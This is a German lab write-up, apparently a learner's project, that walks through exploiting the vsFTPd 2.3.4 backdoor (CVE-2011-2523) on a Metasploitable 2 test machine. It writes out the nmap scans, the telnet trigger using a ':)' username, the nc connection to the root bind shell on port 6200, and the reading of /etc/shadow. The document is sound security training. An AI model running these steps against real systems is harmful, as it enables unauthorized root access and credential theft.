
Projekt: vsFTPd 2.3.4 Backdoor-Ausnutzung (CVE-2011-2523) auf Metasploitable 2
Dieses Projekt zeigt einen Penetration-Testing-Workflow gegen eine absichtlich verwundbare Maschine, Metasploitable 2. Das Ziel war es, eine bekannte Schwachstelle im FTP-Dienst zu identifizieren, auszunutzen und zu analysieren, um letztendlich Root-Zugriff zu erlangen und die Sicherheitsauswirkungen zu bewerten.
192.168.56.0/24)Das Zielsystem und seine Netzwerkkonfiguration wurden überprüft:
whoami
hostname
ifconfig

Die Netzwerkverbindung zwischen Angreifer und Ziel wurde bestätigt:
ping 192.168.56.101

vsFTPd 2.3.4)Host-Erkennung durchgeführt:
nmap -sn 192.168.56.0/24
Aktive Hosts im Netzwerk identifiziert.

nmap 192.168.56.101
Mehrere offene Ports entdeckt, darunter:

nmap -sV 192.168.56.101
Den laufenden FTP-Dienst identifiziert:
vsFTPd 2.3.4
Ein vollständiger Service- und Skript-basierter Scan ist in den unterstützenden Dateien enthalten: Nmap-Scan-Ausgabe.

Der FTP-Dienst lief mit einer bekannten verwundbaren Version:
vsFTPd 2.3.4
Diese Version von vsFTPd wurde mit einer bösartigen Backdoor ausgeliefert, die ausgelöst wird, wenn ein Benutzername mit :) während der Authentifizierung verwendet wird.
Bei Aktivierung öffnet der Dienst eine Bind-Shell auf Port 6200, was unbefugten Fernzugriff ermöglicht.
Backdoor mit Telnet ausgelöst:
telnet 192.168.56.101 21
USER test:)
PASS test

Mit Netcat zur Backdoor verbunden:
nc 192.168.56.101 6200

whoami
root
Root-Zugriff erfolgreich erlangt

Nach Erlangen des Root-Zugriffs wurde eine grundlegende System-Enumeration durchgeführt:
cat /etc/passwd
cat /etc/shadow
/etc/shadow abgerufen

Dieses Labor zeigt, wie ein einziger verwundbarer Dienst zu einer vollständigen Systemkompromittierung führen kann. Es unterstreicht die Bedeutung einer ordnungsgemäßen Dienstkonfiguration, des Patch-Managements und der Minimierung exponierter Angriffsflächen.
Dies war mein erstes Mal, dass ich manuell eine echte Backdoor ausgenutzt habe. Ich habe gelernt, wie eine einzige bösartige Benutzername-Zeichenfolge (:)) Root-Zugriff auslösen kann, was bestärkt hat, warum Dienst-Enumeration und Versionserkennung bei der Erkundung so wichtig sind. Ich habe mich auch mit grundlegenden Linux-Post-Exploitation-Befehlen wie dem Lesen von /etc/shadow vertrauter gemacht und verstanden, wie gehashte Anmeldedaten tatsächlich aussehen.
Dies war eine kontrollierte Laborumgebung mit Metasploitable 2, einer absichtlich verwundbaren Maschine. Die vsFTPd 2.3.4 Backdoor ist ein bekannter CVE (CVE-2011-2523) aus dem Jahr 2011, daher spiegelt dies kein modernes reales Engagement wider. In einer echten Bewertung wären zusätzliche Schritte wie Umgehung, Logging-Bypass oder Pivoting erforderlich. Dieses Projekt konzentrierte sich auf das Verständnis der grundlegenden Exploit-Mechanik, nicht auf einen vollständigen Penetrationstest.